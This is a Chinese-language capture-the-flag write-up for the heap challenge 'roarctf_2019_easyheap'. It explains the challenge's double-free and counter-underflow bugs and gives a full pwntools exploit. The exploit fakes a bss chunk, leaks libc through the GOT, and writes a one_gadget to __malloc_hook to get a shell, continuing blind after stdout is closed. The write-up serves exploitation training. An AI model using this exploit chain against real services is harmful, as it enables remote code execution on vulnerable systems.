roarctf_2019_easyheap(文件描述符1关闭后仍然可以交互)
roarctf_2019_easyheap
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
最开始的时候,我们可以在bss段输入一些数据,这意味着,我们可以在bss段伪造一个chunk
show功能必须要满足条件才能使用
Free后没有清空指针,因此存在double free。
666功能也可以创建和free堆,但是有次数限制,但是这个次数限制也存在漏洞,即qword_602010为0时,仍然会减去1,使得其值变成负数,下一次就可以无限制的使用这个功能了。
Glibc版本为2.23,我们可以先double free fastbin chunk,然后fastbin attack分配到bss段伪造的chunk,篡改show的标记,篡改buf指针为got表,这样,我们就能调用show泄露出地址了。
Fastbin的double free需要有一个中间chunk,这个中间chunk,我们可以从calloc分配出来的0xB0的chunk里切割,切割以后,ptr指向的就是一个0x70的chunk,由于ptr指针之前没有清空,因此就能利用UAF来释放这个中间chunk,从而实现fastbin的double free。
add(0x60,'b'*0x60)
calloc_del()
add(0x60,'a'*0x60)
add(0x60,'a'*0x60)
#double free
delete()
calloc_del()
delete()
add(0x60,p64(fake_chunk_addr))
add(0x60,'a'*0x60)
add(0x60,'b'*0x60)
add(0x60,'c'*0x18 + p64(read_got) + p64(0xDEADBEEFDEADBEEF))
show()
sh.recv(1)
read_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = read_addr - libc.sym['read']
realloc_addr = libc_base + realloc_s
malloc_hook_addr = libc_base + malloc_hook_s
one_gadget_addr = libc_base + one_gadget_s
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
调用show后,问题来了,文件描述1符将被关闭,这意味着不再有正常的输出。
Exp里都显示GOT EOF了,但是程序其实没有结束,还在运行,并且任意可以输入数据。
因此,我们该怎么样就继续怎么样操作即可。再次利用double free,然后分配到malloc_hook,写one_gadget即可,需要用realloc来调整栈。
#coding:utf8
from pwn import *
sh = process('./roarctf_2019_easyheap')
#sh = remote('node3.buuoj.cn',25252)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
realloc_s = libc.sym['realloc']
one_gadget_s = 0xf1147
elf = ELF('./roarctf_2019_easyheap')
read_got = elf.got['read']
fake_chunk_addr = 0x0000000000602060
fake_chunk = p64(0) + p64(0x71)
fake_chunk = fake_chunk.ljust(0x20,'\x00')
sh.sendafter('please input your username:',fake_chunk)
sh.sendafter('please input your info:','haivk\n')
def add(size,content,blind = False):
if not blind:
sh.recvuntil('>>')
else:
sleep(0.3)
sh.sendline('1')
if not blind:
sh.recvuntil('input the size')
else:
sleep(0.3)
sh.sendline(str(size))
if not blind:
sh.recvuntil('please input your content')
else:
sleep(0.3)
sh.send(content)
def delete(blind = False):
if not blind:
sh.recvuntil('>>')
else:
sleep(0.3)
sh.sendline('2')
def show():
sh.sendlineafter('>>','3')
def calloc_A0(content,blind = False):
if not blind:
sh.recvuntil('>>')
else:
sleep(0.3)
sh.sendline('666')
if not blind:
sh.recvuntil('build or free?')
else:
sleep(0.3)
sh.sendline('1')
if not blind:
sh.recvuntil('please input your content')
else:
sleep(0.3)
sh.send(content)
def calloc_del(blind = False):
if not blind:
sh.recvuntil('>>')
else:
sleep(0.3)
sh.sendline('666')
if not blind:
sh.recvuntil('build or free?')
else:
sleep(0.3)
sh.sendline('2')
calloc_A0('a'*0xA0)
add(0x60,'b'*0x60)
calloc_del()
add(0x60,'a'*0x60)
add(0x60,'a'*0x60)
#double free
delete()
calloc_del()
delete()
add(0x60,p64(fake_chunk_addr))
add(0x60,'a'*0x60)
add(0x60,'b'*0x60)
add(0x60,'c'*0x18 + p64(read_got) + p64(0xDEADBEEFDEADBEEF))
show()
sh.recv(1)
read_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = read_addr - libc.sym['read']
realloc_addr = libc_base + realloc_s
malloc_hook_addr = libc_base + malloc_hook_s
one_gadget_addr = libc_base + one_gadget_s
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#第一次调用为0时,不会执行,减1后变成负数
calloc_A0('a',True)
#利用同样的方法来double free
calloc_A0('a'*0xA0,True)
add(0x60,'b'*0x60,True)
calloc_del(True)
add(0x60,'a'*0x60,True)
add(0x60,'a'*0x60,True)
#double free
delete(True)
calloc_del(True)
delete(True)
add(0x60,p64(malloc_hook_addr - 0x23),True)
add(0x60,'a'*0x60,True)
add(0x60,'b'*0x60,True)
add(0x60,'\x00'*0xB + p64(one_gadget_addr) + p64(realloc_addr + 0x14),True)
#getshell
sh.sendline('1')
sleep(0.3)
sh.sendline('1')
sh.interactive()